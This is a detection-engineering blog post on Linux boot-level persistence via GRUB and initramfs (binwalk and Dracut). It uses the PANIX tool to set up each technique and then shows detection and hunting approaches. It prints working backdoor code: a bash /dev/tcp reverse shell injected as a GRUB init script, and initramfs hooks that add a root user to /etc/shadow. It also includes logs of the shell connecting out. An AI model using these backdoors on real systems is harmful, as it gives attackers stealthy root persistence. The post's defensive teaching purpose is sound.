Linux Detection Engineering - The Grand Finale on Linux Persistence

By Ruben Groenewoud

Published: 2025-02-27 · Archived: 2026-04-05 14:00:02 UTC

Introduction

Welcome to the grand finale of the “Linux Persistence Detection Engineering” series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms.

If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:

- *Linux Detection Engineering - A Primer on Persistence Mechanisms*
- *Linux Detection Engineering - A Sequel on Persistence Mechanisms*
- *Linux Detection Engineering - A Continuation on Persistence Mechanisms*
- *Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms*

In this publication, we’ll provide insights into these persistence mechanisms by showcasing:

- How each works (theory)
- How to set each up (practice)
- How to detect them (SIEM and Endpoint rules)
- How to hunt for them (ES|QL and OSQuery reference hunts)

To make the process even more engaging, we will be leveraging PANIX, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.

By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let’s dive in!

Setup note

To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to enable and update our pre-built detection rules. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.

T1542 - Pre-OS Boot: GRUB Bootloader

GRUB (GRand Unified Bootloader) is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware (BIOS/UEFI) and the operating system. When a Linux system is powered on, the following sequence typically occurs:

1. **System Firmware**

- BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test).
- It then locates the bootloader on the designated boot device (usually based on boot priority settings).

2. **GRUB Bootloader**

- GRUB is loaded into memory.
- It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode.
- GRUB loads the kernel image (`vmlinuz`) into memory, as well as the initramfs/initrd image (`initrd.img`), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware).
- GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel.

3. **Kernel Execution**

- The kernel is unpacked and initialized. It begins detecting and initializing system hardware.
- The kernel mounts the root filesystem specified in the kernel parameters.
- It starts the init system (traditionally `init` , now often `systemd`), which is the first process (`PID 1`) that initializes and manages the user space.
- The `init` system sets up services, mounts filesystems, and spawns user sessions.

GRUB's configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use `/etc/default/grub` as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example:

```
 GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash resume=/dev/sda2" # Common kernel parameters
GRUB_CMDLINE_LINUX="init=/bin/bash audit=1" # Additional kernel parameters
```

To enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in `/etc/default/grub.d/` (Ubuntu/Debian) and `/etc/grub.d/` (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process.

Prior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in `/etc/default/grub` and the modular scripts in `/etc/grub.d/` (or similar directories and files for other distributions). This configuration is then stored in `/boot/grub/grub.cfg` for BIOS systems, and `/boot/efi/EFI/<distro>/grub.cfg` for UEFI systems.

On Ubuntu and Debian-based systems, the `update-grub` command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is `grub2-mkconfig`. Upon generation of the configuration, the following events occur:

1. **Scripts Execution**:

- All modular scripts in `/etc/default/grub.d/` or `/etc/grub.d/` are executed in numerical order.

2. **Settings Aggregation**:

- Parameters from `/etc/default/grub` and modular scripts are merged.

3. **Menu Entries Creation**:

- GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries.

4. **Final Compilation**:

- The combined configuration is written to `/boot/grub/grub.cfg` (or the UEFI equivalent path), ready to be used at the next boot.

Attackers can exploit GRUB's flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can:

1. **Inject Malicious Kernel Parameters**:

- Adding parameters like `init=/payload.sh` in `/etc/default/grub` or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default `init` system.

2. **Modify Menu Entries**:

- Attackers can alter menu entries in `/etc/grub.d/` to include unauthorized commands or point to malicious kernels.

3. **Create Hidden Boot Entries**:

- Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu.

As GRUB operates before the system's typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight.

GRUB manipulation falls under T1542: Pre-OS Boot in the MITRE ATT&CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks.

In the next section, we'll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations.

Persistence through T1542 - Pre-OS Boot: GRUB Bootloader

In this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the setup_grub.sh module from PANIX, a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities.

The GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (`cfg`) file containing the `init=/grub-panix.sh` parameter. GRUB configuration files are loaded in ascending order, based on the modules' numeric prefix. To ensure the injected module is loaded last, the priority is set to 99.

```
 local grub_custom_dir="/etc/default/grub.d"
local grub_custom_file="${grub_custom_dir}/99-panix.cfg"

echo "[*] Creating custom GRUB configuration file: $grub_custom_file"
cat <<EOF > "$grub_custom_file"
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh"
EOF
```

After this configuration file is in place, the `/grub-panix.sh` script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups.

```
 payload="( sleep 10; nohup setsid bash -c 'bash -i >& /dev/tcp/${ip}/${port} 0>&1' & disown ) &"

local init_script="/grub-panix.sh"
echo "[*] Creating backdoor init script at: $init_script"
cat <<EOF > "$init_script"
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
```

```
(
        echo "[*] Panix backdoor payload will execute after 10 seconds delay."
        ${payload}
        echo "[+] Panix payload executed."
) &
exec /sbin/init
EOF
```

After these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running `update-grub`.

Let's take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command:

```
 > sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.
```

Upon execution of the module, and rebooting the machine, the following documents can be observed in Kibana:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action
/usr/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2014 0>&1	-	-	-	connection_attempted
/usr/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2014 0>&1	/usr/bin/bash	/bin/bash /grub-panix.sh	-	exec
/usr/bin/setsid	setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2014 0>&1	/usr/bin/bash	/bin/bash /grub-panix.sh	-	exec
/usr/bin/nohup	nohup setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2…	/usr/bin/bash	/bin/bash /grub-panix.sh	-	exec
/usr/bin/bash	/bin/bash /grub-panix.sh	/usr/lib/systemd/systemd	/sbin/init	-	already_running
/usr/sbin/grub-mkconfig	-	-	-	/boot/grub/grub.cfg.new	creation
/usr/sbin/update-grub	/bin/sh /usr/sbin/update-grub	./panix.sh	/bin/bash ./panix.sh --grub --default --ip 192.168.31.128 --port 2014	-	exec
/usr/bin/chmod	chmod +x /grub-panix.sh	./panix.sh	/bin/bash ./panix.sh --grub --default --ip 192.168.31.128 --port 2014	-	exec
./panix.sh	-	-	-	/grub-panix.sh	creation
./panix.sh	-	-	-	/etc/default/grub.d/99-panix.cfg	creation
/usr/bin/cp	cp /etc/default/grub /etc/default/grub.bak	./panix.sh	/bin/bash ./panix.sh --grub --default --ip 192.168.31.128 --port 2014	-	exec
./panix.sh	/bin/bash ./panix.sh --grub --default --ip 192.168.31.128 --port 2014	/usr/bin/sudo	sudo ./panix.sh --grub --default --ip 192.168.31.128 --port 2014	-	exec

PANIX GRUB module execution visualized in Kibana

Upon execution of PANIX, we can see a backup of `/etc/default/grub`, a new modular grub configuration, `/etc/default/grub.d/99-panix.cfg`, and the backdoor payload (`/grub-panix.sh`) being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the `update-grub` executable, and the backdoor is now ready. Upon reboot, `/grub-panix.sh` is executed by `init`, which is `systemd` for most modern operating systems, successfully executing the reverse shell chain of `/grub-panix.sh` → `nohup` → `setsid` → `bash`. The reason its `event.action` value is `already-running`, is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this `event.action`, allowing us to still detect the activity.

Let’s take a look at the coverage:

Detection and endpoint rules that cover GRUB bootloader persistence

You can revert the changes made by PANIX by running the following revert command:

```
 > ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
```

```
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.
```

Hunting for T1542 - Pre-OS Boot: GRUB Bootloader

Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the "*Hunting for T1053 - scheduled task/job*" section of "*Linux Detection Engineering - A primer on persistence mechanisms*". Additionally, descriptions and references can be found in our Detection Rules repository, specifically in the Linux hunting subdirectory.

We can hunt for GRUB bootloader persistence through ES|QL and OSQuery, focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following:

1. **Creations and/or modifications to GRUB configuration files**: Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence.
2. **Execution of GRUB-related commands**: Monitors for commands like `grub-mkconfig`, `grub2-mkconfig`, and `update-grub`, which may indicate attempts to modify GRUB settings or regenerate boot configurations.
3. **Metadata analysis of GRUB files**: Identifies ownership, access times, and recent changes to GRUB configuration files to detect unauthorized modifications.
4. **Kernel and Boot Integrity Monitoring**: Tracks critical kernel and boot-related data using ES|QL and OSQuery tables such as `secureboot`, `platform_info`, `kernel_info`, and `kernel_keys`, providing insights into the system's boot integrity and kernel configurations.

By combining the Persistence via GRUB Bootloader and General Kernel Manipulation hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1542.

T1542- Pre-OS Boot: Initramfs

Initramfs (Initial RAM Filesystem) is a vital part of the Linux boot process, acting as a temporary root filesystem loaded into memory by the bootloader. It enables the kernel to initialize hardware, load necessary modules, and prepare the system to mount the real root filesystem.

As we learnt in the previous section, the bootloader (e.g., GRUB) loads two key components: the kernel (`vmlinuz`) and the initramfs image (`initrd.img`). The `initrd.img` is a compressed filesystem, typically stored in `/boot/` , containing essential drivers, binaries (e.g. `busybox`), libraries, and scripts for early system initialization. Packed in formats like gzip, LZ4, or xz, it extracts into a minimal Linux filesystem with directories like `/bin` , `/lib` , and `/etc` . Once the real root filesystem is mounted, control passes to the primary `init` system (e.g., `systemd`), and the initramfs is discarded.

Initramfs plays a central role in the Linux boot process, but it doesn't work in isolation. The `/boot/` directory houses essential files that enable the bootloader and kernel to function seamlessly. These files include the kernel binary, the initramfs image, and configuration data necessary for system initialization. Here's a breakdown of these critical components:

- **vmlinuz-<version>**: A compressed Linux kernel binary.
- **vmlinuz**: A symbolic link to the compressed Linux kernel binary.
- **initrd.img-<version>** or **initramfs.img-<version>**: The initramfs image containing the temporary filesystem.
- **initrd.img** or **initramfs.img**: A symbolic link to the initramfs image.
- **config-<version>**: Configuration options for the specific kernel version.
- **System.map-<version>**: Kernel symbol map used for debugging.
- **grub/**: Bootloader configuration files.

Similar to GRUB, initramfs is executed early in the boot process and therefore an interesting target for attackers seeking stealthy persistence. Modifying its contents—such as adding malicious scripts or altering initialization logic—enables execution of malicious code before the system fully initializes.

While there is currently no specific subsection for initramfs, modification of the boot process falls under T1542, *Pre-OS Boot* in the MITRE ATT&CK framework.

The next section will explore how attackers might manipulate initramfs, the methods they could use to embed persistence mechanisms, and how to detect and mitigate these threats effectively.

T1542 - Initramfs: Manual Modifications

Modifying initramfs to establish persistence is a technique discussed in the "*Initramfs Persistence Technique*" blog published on Breachlabs.io. At its core, modifying initramfs involves unpacking its compressed filesystem, making changes, and repacking the image to maintain functionality while embedding persistence mechanisms. This process is not inherently malicious; administrators might modify initramfs to add custom drivers or configurations. However, attackers can exploit this flexibility to execute malicious actions before the primary operating system is fully loaded.

An example technique involves adding code to the `init` script to manipulate the host filesystem—such as creating a backdoor user, altering system files/services, or injecting scripts that persist across reboots.

While there are helper tools for working with initramfs, manual modifications are possible through low-level utilities such as binwalk. `Binwalk` is particularly useful for analyzing and extracting compressed archives,

making it a good choice for inspecting and deconstructing the initramfs image.

In the following section, we'll provide a detailed explanation of the manual initramfs modification process.

Persistence through T1542 - Initramfs: Manual Modifications

In this section we will be "manually" manipulating initramfs to add a backdoor onto the system during the boot process. To do so, we will use the setup_initramfs.sh module from PANIX. Let's analyze the most important aspects of the module to ensure we understand what is going on.

Upon execution of the module, the `initrd.img` file is backed up, as implementing a technique like this may disrupt the boot process, and having a back up available is always recommended. Next, a temporary directory is created, and the initramfs image is copied there. Through `binwalk`, we can identify and map out the different embedded archives within the `initrd.img` (such as the CPU microcode `cpio` archive and the gzipped `cpio` archive containing the mini Linux filesystem). The string `TRAILER!!!` marks the end of a `cpio` archive, letting us know exactly where one archive finishes so we can separate it from the next. In other words, `binwalk` shows us where to split the file, and the `TRAILER!!!` marker confirms the boundary of the microcode `cpio` before we extract and rebuild the rest of the initramfs. For more detailed information, take a look at the original author's "*Initramfs Persistence Technique*" blog.

```
 # Use binwalk to determine the trailer address.
ADDRESS=$(binwalk initrd.img | grep TRAILER | tail -1 | awk '{print $1}')
if [[ -z "$ADDRESS" ]]; then
        echo "Error: Could not determine trailer address using binwalk."
        exit 1
fi
echo "[*] Trailer address: $ADDRESS"
```

This section extracts and unpacks parts of the `initrd.img` file for modification. The `dd` command extracts the first `cpio` archive (microcode) up to the byte offset marked by `TRAILER!!!`, saving it as `initrd.img-begin` for later reassembly. Next, `unmkinitramfs` unpacks the remaining filesystem from `initrd.img` into a directory (`initrd_extracted`), enabling modifications.

```
 dd if=initrd.img of=initrd.img-begin count=$ADDRESS bs=1 2>/dev/null || { echo "Error: dd failed (begin)"; exi

unmkinitramfs initrd.img initrd_extracted || { echo "Error: unmkinitramfs failed"; exit 1; }
```

Once the filesystem is extracted, it can be modified to achieve persistence. This process focuses on manipulating the `init` file, which is responsible for initializing the Linux system during boot. The code performs the following:

1. Mount the root filesystem as writable.
2. Attempt to create a new user with sudo privileges in two steps:
    1. Check whether the supplied user exists already, if yes, abort.

2. If the user does not exist, add the user to `/etc/shadow`, `/etc/passwd` and `/etc/group` manually.

This payload can be altered to whatever payload is desired. As the environment in which we are working is very limited, we need to make sure to only use tools that are available.

After adding the correct payload, initramfs can be repacked. The script uses:

```
find . | sort | cpio -R 0:0 -o -H newc | gzip > ../../initrd.img-end
```

To repack the filesystem into `initrd.img-end`. It ensures all files are owned by `root:root` (`-R 0:0`) and uses the `newc` format compatible with initramfs.

The previously extracted microcode archive (`initrd.img-begin`) is concatenated with the newly created archive (`initrd.img-end`) using `cat` to produce a final `initrd.img-new`:

```
cat initrd.img-begin initrd.img-end > initrd.img-new
```

The new `initrd.img-new` replaces the original initramfs file, ensuring the system uses the modified version on the next boot.

Now that we understand the process, we can run the module and let the events unfold. Note: not all Linux distributions specify the end of a `cpio` archive with the `TRAILER!!!` string, and therefore this automated technique will not work for all systems. Let's continue!

```
 > sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes
[*] Will inject user 'panix' with hashed password '<hash>' into the initramfs.
[*] Preparing Binwalk-based initramfs persistence...
[*] Temporary directory: /tmp/initramfs.neg1v5
[+] Backup created: /boot/initrd.img-5.15.0-130-generic.bak
[*] Trailer address: 8057008
[+] Binwalk-based initramfs persistence applied. New initramfs installed.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot of your system before proceeding.
```

Let's take a look at the events that are generated in Kibana:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action
/usr/sbin/reboot	reboot	/usr/bin/sudo	sudo reboot	-	exec
/usr/bin/cp	cp initrd.img-new /boot/initrd.img-5.15.0-130-generic	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/cat	cat initrd.img-begin initrd.img-end	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
./panix.sh	-	-	-	/tmp/initramfs.new1v5/initrd.img-new	creation
/usr/bin/cpio	cpio -R 0:0 -o -H newc	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/gzip	gzip	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
./panix.sh	-	-	-	/tmp/initramfs.new1v5/initrd.img-end	creation
/usr/bin/sed	sed -i /maybe_break init/i mount -o remount,rw \${rootmnt}\n# Use sed to remove lines starting …	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/dd	dd bs=1 skip=8057008 count=1	/usr/bin/unmkinitramfs	/bin/sh /usr/bin/unmkinitramfs initrd.img initrd_extracted	-	exec
/usr/bin/unmkinitramfs	/bin/sh /usr/bin/unmkinitramfs initrd.img initrd_extracted	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/binwalk	/usr/bin/python3 /usr/bin/binwalk initrd.img	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/cp	cp /boot/initrd.img-5.15.0-130-generic /boot/initrd.img-5.15.0-130-generic.bak	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
/usr/bin/openssl	openssl passwd -6 panix	./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec
./panix.sh	/bin/bash ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	/usr/bin/sudo	sudo ./panix.sh --initramfs --binwalk --username panix --password panix --snapshot yes	-	exec

PANIX Initramfs module execution visualized in Kibana - Binwalk method

Looking at the execution logs, we can see that `openssl` is used to generate a `passwd` hash. Afterwards, the initramfs image is copied to a temporary directory, and `binwalk` is leveraged to find the address of the filesystem. Once the correct section is found, `unmkinitramfs` is called to extract the filesystem, after which the payload is added to the `init` file. Next, the filesystem is repacked through `gzip` and `cpio`, and combined into a fully working initramfs image with the microcode, filesystem and other sections. This image is then copied to the `/boot/` directory, overwriting the currently active `initramfs` image. Upon reboot, the new `panix` user with root permissions is available.

Let’s take a look at the coverage:

Detection and endpoint rules that cover manual initramfs persistence

You can revert the changes made by PANIX by running the following revert command:

```
 > ./panix.sh --revert initramfs

[!] Restoring initramfs from backup: $initrd_backup...
[+] Initramfs restored successfully.
```

```
[!] Rebuilding initramfs to remove modifications...
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
```

Hunting for T1542 - Initramfs: Manual Modifications

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like `binwalk`. This technique typically involves extracting, analyzing, and modifying initramfs files to inject malicious components or scripts into the boot process. The approach includes monitoring for the following:

1. **Execution of Binwalk with Suspicious Arguments**: Tracks processes where `binwalk` is executed to extract or analyze files. This can reveal attempts to inspect or tamper with initramfs contents.
2. **Creations and/or Modifications to Initramfs Files**: Tracks changes to the initramfs file (`/boot/initrd.img`).
3. **General Kernel Manipulation Indicators**: Leverages queries such as monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation, which may overlap with initramfs abuse.

By combining the Persistence via Initramfs and General Kernel Manipulation hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1542.

T1542 - Initramfs: Modifying with Dracut

Dracut is a versatile tool for managing initramfs in most Linux systems. Unlike manual methods that require deconstructing and reconstructing initramfs, Dracut provides a structured, modular approach. It simplifies creating, modifying, and regenerating initramfs images while offering a robust framework to add custom functionality. It generates initramfs images by assembling a minimal Linux environment tailored to the system's needs. Its modular design ensures that only the necessary drivers, libraries, and scripts are included.

Dracut operates through modules, which are self-contained directories containing scripts, configuration files, and dependencies. These modules define the behavior and content of the initramfs. For example, they might include drivers for specific hardware, tools for handling encrypted filesystems, or custom logic for pre-boot operations.

Dracut modules are typically stored in:

- `/usr/lib/dracut/modules.d/`
- `/lib/dracut/modules.d/`

Each module resides in a directory named in the format `XXname`, where `XX` is a two-digit number defining the load order, and `name` is the module name (e.g., `01base`, `95udev`).

The primary script that defines how the module integrates into the initramfs is called `module-setup.sh`. It specifies which files to include and what dependencies are required. Here is a basic example of a `module-setups.sh` script:

```
 #!/bin/bash

check() {
  return 0
}

depends() {
  echo "base"
}

install() {
  inst_hook cmdline 30 "$moddir/my_custom_script.sh"
  inst_simple /path/to/needed/binary
}
```

- `check()` : Determines whether the module should be included. Returning 0 ensures the module is always included.
- `depends()` : Specifies other modules this one depends on (e.g., `base` , `udev`).
- `install()` : Defines what files or scripts to include. Functions like `inst_hook` and `inst_simple` simplify the process.

Using Dracut, attackers or administrators can easily modify initramfs to include custom scripts or functionality. For example, a malicious actor might:

- Add a script that executes commands on boot.
- Alter existing modules to modify system behavior before the root filesystem is mounted.

In the next section, we'll walk through creating a custom Dracut module to modify initramfs.

Persistence through T1542 - Initramfs: Modifying with Dracut

It is always a great idea to walk before we run. In the previous section we learnt how to manipulate initramfs manually, which can be difficult to set up. Now that we understand the basics, we can persist much easier by using a helper tool called Dracut, which is available by default on many Linux systems. Let's take a look at the setup_initramfs.sh module again, but this time with a focus on the Dracut section.

This PANIX module creates a new Dracut module directory at `/usr/lib/dracut/modules.d/99panix` , and creates a `module-setup.sh` file with the following contents:

```
 #!/bin/bash
check()  { return 0; }
depends() { return 0; }
install() {
         inst_hook pre-pivot 99 "$moddir/backdoor-user.sh"
}
```

This script ensures that when the initramfs is built using Dracut, the custom script (`backdoor-user.sh`) is embedded and configured to execute at the pre-pivot stage during boot. By running at the pre-pivot stage, the script executes before control is handed over to the main OS, ensuring it can make modifications to the real root filesystem.

After granting `module-setup.sh` execution permissions, the module continues to create the `backdoor-user.sh` file. To view the full content, inspect the module source code. The important parts are:

```
 #!/bin/sh

# Remount the real root if it's read-only
mount -o remount,rw /sysroot 2>/dev/null || {
         echo "[dracut] Could not remount /sysroot as RW. Exiting."
         exit 1
}
[...]

if check_user_exists "${username}" /sysroot/etc/shadow; then
    echo "[dracut] User '${username}' already exists in /etc/shadow."
else
    echo "${username}:${escaped_hash}:19000:0:99999:7:::" >> /sysroot/etc/shadow
    echo "[dracut] Added '${username}' to /etc/shadow."
fi

[...]
```

First, the script ensures that the root filesystem (`/sysroot`) is writable. If this check completes, the script continues to add a new user by manually modifying the `/etc/shadow` , `/etc/passwd` and `/etc/group` files. The most important thing to notice is that these scripts rely on built-in shell utilities, as utilities such as `grep` or `sed` are not available in this environment. After writing the script, it is granted execution permissions and is good to go.

Finally, Dracut is called to rebuild initramfs for the kernel version that is currently active:

```
dracut --force /boot/initrd.img-$(uname -r) $(uname -r)
```

Once this step completes, the modified initramfs is active, and rebooting the machine will result in the `backdoor-user.sh` script being executed.

As always, first we take a snapshot, then we run the module:

```
 > sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes
[!] Will inject user 'panix' with hashed password <hash> into the initramfs.
[!] Preparing Dracut-based initramfs persistence...
[+] Created dracut module setup script at /usr/lib/dracut/modules.d/99panix/module-setup.sh
[+] Created dracut helper script at /usr/lib/dracut/modules.d/99panix/backdoor-user.sh
```

```
[*] Rebuilding initramfs with dracut...
[...]
dracut: *** Including module: panix ***
[...]
[+] Dracut rebuild complete.
[+] setup_initramfs module completed successfully.
[!] Ensure you have a recent snapshot/backup of your system before proceeding.
```

And take a look at the documents available in Discover:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action
/bin/bash	bash	/usr/bin/su	su panix	-	exec
/usr/bin/sudo	sudo reboot	/bin/bash	-bash	-	exec
/usr/bin/dracut	/bin/bash -p /usr/bin/dracut --force /boot/initrd.img-5.15.0-130-generic 5.15.0-130-generic	./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec
/usr/bin/chmod	chmod +x /usr/lib/dracut/modules.d/99panix/backdoor-user.sh	./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec
./panix.sh	-	-	-	/usr/lib/dracut/modules.d/99panix/backdoor-user.sh	creation
/usr/bin/chmod	chmod +x /usr/lib/dracut/modules.d/99panix/module-setup.sh	./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec
./panix.sh	-	-	-	/usr/lib/dracut/modules.d/99panix/module-setup.sh	creation
/usr/bin/mkdir	mkdir -p /usr/lib/dracut/modules.d/99panix	./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec
/usr/bin/openssl	openssl passwd -6 secret	./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec
./panix.sh	/bin/bash ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	/usr/bin/sudo	sudo ./panix.sh --initramfs --dracut --username panix --password secret --snapshot yes	-	exec

PANIX Initramfs module execution visualized in Kibana - Dracut method

Upon execution, `openssl` is used to create a password hash for the `secret` password. Afterwards, the directory structure `/usr/lib/dracut/modules.d/99panix` is created, and the `module-setup.sh` and `backdoor-user.sh` scripts are created and granted execution permissions. After regeneration of the initramfs completes, the backdoor has been planted, and will be active upon reboot.

Let’s take a look at the coverage:

Detection and endpoint rules that cover dracut initramfs persistence

You can revert the changes made by PANIX by running the following revert command:

```
 > ./panix.sh --revert initramfs

[-] No backup initramfs found at /boot/initrd.img-5.15.0-130-generic.bak. Skipping restore.
[!] Removing custom dracut module directory: /usr/lib/dracut/modules.d/99panix...
[+] Custom dracut module directory removed.
```

```
[!] Rebuilding initramfs to remove modifications...
[...]
[+] Initramfs rebuilt successfully.
[!] Cleaning up temporary files...
[+] Temporary files cleaned up.
[+] Initramfs persistence reverted successfully.
```

Hunting for T1542 - Initramfs: Modifying with Dracut

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use of tools like Dracut. The approach includes monitoring for the following:

1. **Execution of Dracut with Suspicious Arguments**: Tracks processes where Dracut is executed to regenerate or modify initramfs files, especially with non-standard arguments. This can help identify unauthorized attempts to modify initramfs.
2. **Creations and/or Modifications to Dracut Modules**: Monitors changes within `/lib/dracut/modules.d/` and `/usr/lib/dracut/modules.d/`, which store custom and system-wide Dracut modules. Unauthorized modifications here may indicate attempts to persist malicious functionality.
3. **General Kernel Manipulation Indicators**: Utilizes queries like monitoring `secureboot`, `kernel_info`, and file changes within `/boot/` to detect broader signs of kernel and bootloader manipulation that could be related to Initramfs abuse.

By combining the Persistence via Initramfs and General Kernel Manipulation hunting rules and the tailored detection queries listed above, you can effectively identify and respond to T1542.

T1543 - Create or Modify System Process: PolicyKit

PolicyKit (or Polkit) is a system service that provides an authorization framework for managing privileged actions in Linux systems. It enables fine-grained control over system-wide privileges, allowing non-privileged processes to interact with privileged ones securely. Acting as an intermediary between system services and users, Polkit determines whether a user is authorized to perform specific actions. For instance, it governs whether a user can restart network services or install software without requiring full sudo permissions.

Polkit authorization is governed by rules, actions, and authorization policies:

- **Actions**: Defined in XML files (`.policy`), these specify the operations Polkit can manage, such as `org.freedesktop.systemd1.manage-units`.
